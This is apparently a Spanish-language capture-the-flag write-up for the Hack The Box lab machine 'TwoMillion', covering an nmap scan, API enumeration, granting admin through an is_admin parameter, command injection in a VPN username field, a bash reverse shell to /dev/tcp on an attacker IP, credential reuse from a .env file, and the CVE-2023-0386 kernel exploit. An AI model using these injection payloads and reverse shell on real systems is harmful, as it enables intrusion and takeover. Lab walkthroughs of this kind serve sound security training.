TwoMillion

Enumeración:
│ File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Thu Jun 19 15:52:11 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p22,80 -oN targeted 10.10.11.221
2 │ Nmap scan report for 10.10.11.221
3 │ Host is up (0.16s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
7 │ | ssh-hostkey:
8 │ | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
9 │ |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
10 │ 80/tcp open http nginx
11 │ |_http-title: Did not follow redirect to http://2million.htb/
12 │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
13 │
14 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15 │ # Nmap done at Thu Jun 19 15:52:27 2025 -- 1 IP address (1 host up) scanned in 16.44 seconds
───────┴───────────────────────────────────────────────────────────────────────────────────────────────
Un puerto 80 corriendo al entrar:

Con el gran wappalyzer se vio un ngix:

Revisé la página de inicio de sesión con credenciales predeterminadas, pero no me sirvió de nada. Asà que primero, vamos a crear una cuenta aquÃ. Al hacer clic en el botón "Unirse a htb", nos redirigirán a la página "/invitar", donde se nos pedirá el código de invitación.

Forma inspeccionando la página y viendo la red:

En la pestaña Red, podemos ver que se está cargando el archivo inviteapi.min.js y que contiene algún código js ofuscado.

Tiene dos funciones: una para verificar el código de invitación y otra para generarlo. makeInviteCode()
Parece ser responsable de generar el código de invitación. La función simplemente realiza una solicitud de publicación a la URL /api/v1/invite/how/to/generate
. Vamos a convertirlo manualmente en cURL.
�� Consumo de una API REST desde la terminal
curl -s -X POST "http://2million.htb/api/v1/invite/generate" | jq

Con cada petición va cambiando y al parecer ser que esta en base64:
echo "S0hHMTItS1ZYSlgtTEVTRTEtREtKTTA=" | base64 -d


Una vez registrado:

Se puede ver varias endpoints:

http://2million.htb/api/v1/user/vpn/generate
http://2million.htb/api/v1/user/vpn/regenerate
API REST | Endpoint
Tanto por
curl
que poBurp Suite
se puede
Consultar el endpoint raÃz de la API REST en http://2million.htb/api/v1
para enumerar las rutas disponibles, autenticado mediante una sesión PHP (PHPSESSID
).
curl -s http://2million.htb/api/v1 | jq
curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=ur9lqvppvr1b64cr4p0em8ulqb" | jq

Enumerando la API de administración:
Tenemos tres puntos finales de API en /api/v1/admin. Probémoslos todos.
Cuando intentamos obtener una solicitud a /api/v1/admin/auth, recibimos un mensaje Falso que significa que no somos administradores.

Ahora usaremos el siguiente endpoint con PUT
:
/api/v1/admin/settings/update
Actualiza configuraciones del usuario.
Copiemos el tipo de contenido de la respuesta a la solicitud y reenviemos la solicitud. Esta vez recibimos otro mensaje que indicaba que faltaba el parámetro de correo electrónico.
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" | jq

Agreguemos el correo electrónico en formato JSON y reenviemos la solicitud. Esta vez, recibimos nuevamente un mensaje que indica que falta el parámetro is_admin.
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"email": "las@las.com"}'

Ahora agreguemos "is_admin" en formato JSON y reenviemos la solicitud. Finalmente, le damos privilegios de administrador a nuestra cuenta.
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"email": "las@gmai.com", "is_admin": 1}' | jq

Al ser administrador podemos generar una VPN:
Ahora podemos listar las VPN:
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" | jq

Ahora somos administradores, asà que intentemos enviar una solicitud a /api/v1/admin/vpn/generate, que no estaba autorizada anteriormente. En esta ocasión, recibimos un mensaje que indica que falta el parámetro "nombre de usuario" y, al agregarlo a nuestra solicitud, obtenemos la clave VPN generada.
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las"}'

Inyección de comando
Probablemente no sea el código PHP el que genera una clave VPN, sino algunas herramientas Bash que generan la información necesaria para una clave VPN.
Vale la pena comprobar si hay alguna inyección de comando.
Si el servidor está haciendo algo como openvpn gen_vpn.sh [nombre de usuario], intentaré poner un "a"
;
en el nombre de usuario para convertirlo en un nuevo comando. También añadiré un "#
a" al final para comentar cualquier cosa que pueda venir después de mi entrada. Funciona:
las; whoami #"
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las; whoami #"}'

Incluyamos un comando de shell inverso bash -i en el archivo login.php usando el comando del sistema y activemos mi escucha netcat en el puerto 1234.
bash -c \"bash -i >& /dev/tcp/10.10.16.43/1234 0>&1\";
Comando:
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las;"}'

En los archivos ocultos hay un .env:

Con esta credencial entramos por ssh como el usuario admin:

Busca todos los archivos y directorios en el sistema (/
) que pertenecen al usuario admin
.:
find / -user admin 2>/dev/null | grep -vE "sys|proc"

Se encontro un mail:

Identificación de vulnerabilidad #
Habla de algo relacionado con OverlayFS/FUSE CVE. Busquémoslo en Google. Encontramos mucha información sobre CVE-2023-0386.
Explotar #
Hay una prueba de concepto (POC) de este exploit en GitHub del investigador xkaneiki. El archivo README.md es escueto, pero ofrece suficientes instrucciones de uso.
No pude clonar directamente este repositorio en mi máquina de destino, asà que lo cloné en mi máquina local y luego lo descargué en mi máquina de destino usando el servidor Python.

Tenemos que enviar la carpeta a otro servidor y para ello lo comprimimos:
zip comprimido.zip -r CVE-2023-0386

Seguimos las instrucciones del git:

Last updated